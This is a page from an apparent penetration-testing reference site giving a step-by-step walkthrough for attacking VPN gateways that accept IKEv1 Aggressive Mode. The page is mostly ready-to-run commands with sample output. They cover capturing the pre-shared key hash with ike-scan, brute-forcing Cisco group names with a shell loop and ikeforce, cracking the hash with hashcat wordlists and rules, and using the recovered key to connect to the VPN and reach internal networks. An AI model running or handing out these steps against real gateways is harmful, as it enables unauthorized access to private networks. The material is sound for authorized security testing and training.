Skip to content
HackIndex logo

HackIndex

IKEv1 Aggressive Mode PSK Capture and Cracking

4 min read Jul 14, 2026

When a gateway accepts IKEv1 Aggressive Mode connections, the PSK hash is returned in the second message of the handshake — before any encryption is established. You capture it without valid credentials by simply initiating a handshake. The hash is then taken offline and cracked with hashcat. A recovered PSK lets you authenticate to the VPN as a legitimate peer.

Confirm the gateway accepts Aggressive Mode before proceeding: IKEv1 Aggressive Mode Enabled.

Capture the Hash with ike-scan

ike-scan captures the hash payload when Aggressive Mode succeeds. Redirect full output to a file:

┌──(kali㉿kali)-[~]
└─$ sudo ike-scan --aggressive --id=$DOMAIN --pskcrack=/tmp/ike.psk $TARGET_IP
Explain command
--aggressive Use IKE aggressive mode instead of main mode.
--id=$DOMAIN Set the identity payload to the specified domain value.
--pskcrack=/tmp/ike.psk Write PSK hash data to file for offline cracking.
$TARGET_IP Target IP address to send IKE probes to.

--pskcrack writes the hash in a format ready for hashcat. If the file is created with content, the capture succeeded.

Check the captured hash:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/ike.psk 
10.10.10.5:500 53e1774aef2c9d79:1a4b2c3d4e5f6a7b:abc123...hash_material...:group_name

If --pskcrack does not produce output, the gateway may require a specific peer ID. Try common group names used in Cisco VPN group authentication:

for id in vpn ipsec cisco remote group1 groupvpn vpngroup; do
  sudo ike-scan --aggressive --id=$id --pskcrack=/tmp/ike_${id}.psk $TARGET_IP 2>/dev/null
  [ -s /tmp/ike_${id}.psk ] && echo "Hash captured with ID: $id" && break
done

ikeforce Group Enumeration

Cisco VPN gateways using XAUTH group authentication require a valid group name as the peer ID before responding. ikeforce automates group name brute-forcing:

┌──(kali㉿kali)-[~]
└─$ python2 ikeforce.py $TARGET_IP -e -w /usr/share/seclists/Miscellaneous/ike-groupnames.txt 
[+] Found valid group name: vpngroup
[+] Hash: 10.10.10.5:500:53e1774a...:vpngroup
Explain command
$TARGET_IP Target IP address of the IKE/VPN endpoint to probe.
-e Enable enumeration mode to identify valid group names.
-w /usr/share/seclists/Miscellaneous/ike-groupnames.txt Wordlist file containing IKE group names for brute-forcing.

Once the group name is confirmed, capture with ike-scan using that ID:

┌──(kali㉿kali)-[~]
└─$ sudo ike-scan --aggressive --id=vpngroup --pskcrack=/tmp/ike.psk $TARGET_IP
Explain command
--aggressive Use IKE aggressive mode instead of main mode.
--id=vpngroup Set the ID string sent in the aggressive mode exchange.
--pskcrack=/tmp/ike.psk Capture PSK hash and write it to the specified file for cracking.
$TARGET_IP Placeholder for the target IP address to scan.

Crack with hashcat

IKEv1 Aggressive Mode hashes use hashcat mode 5300 (IKE-PSK MD5) or 5400 (IKE-PSK SHA1) depending on the hash algorithm used during negotiation. The --pskcrack output from ike-scan is compatible with both.

Identify the hash algorithm from the transform set — SHA1 is mode 5400, MD5 is mode 5300.

Crack with a wordlist:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5400 /tmp/ike.psk /usr/share/wordlists/rockyou.txt
Explain command
-m 5400 Sets hash mode to 5400 (IKE-PSK MD5/SHA1 cracking).
/tmp/ike.psk Path to the file containing the captured IKE PSK hash.
/usr/share/wordlists/rockyou.txt Wordlist file used as input for dictionary attack.

With rules for common variations:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5400 /tmp/ike.psk /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 
10.10.10.5:500:...:vpngroup:Cisco1234!
Explain command
-m 5400 Sets hash mode to IKE-PSK SHA1 (mode 5400).
/tmp/ike.psk Path to the file containing the target hash(es).
/usr/share/wordlists/rockyou.txt Wordlist file used as the base dictionary input.
-r /usr/share/hashcat/rules/best64.rule Applies the best64 rule set to mutate wordlist candidates.

The recovered value after the last colon is the PSK.

Use the Recovered PSK

A recovered PSK can be used to:

  • Authenticate to the VPN gateway as a legitimate peer using a compatible VPN client (Cisco AnyConnect, native IPsec client, or strongSwan)

  • Access internal network segments reachable only over VPN

  • If XAUTH is in use, the PSK is one factor — username and password are still required, but this confirms the VPN infrastructure is accessible and the group credentials are known

Configure a VPN client with the recovered PSK and group name, then connect:

┌──(kali㉿kali)-[~]
└─$ # strongSwan example
┌──(kali㉿kali)-[~]
└─$ sudo ipsec up $CONNECTION_NAME
Explain command
$CONNECTION_NAME Name of the IPsec connection defined in ipsec.conf to bring up.

Document the finding as: unauthenticated hash capture via Aggressive Mode, PSK cracked offline, VPN peer authentication possible.

References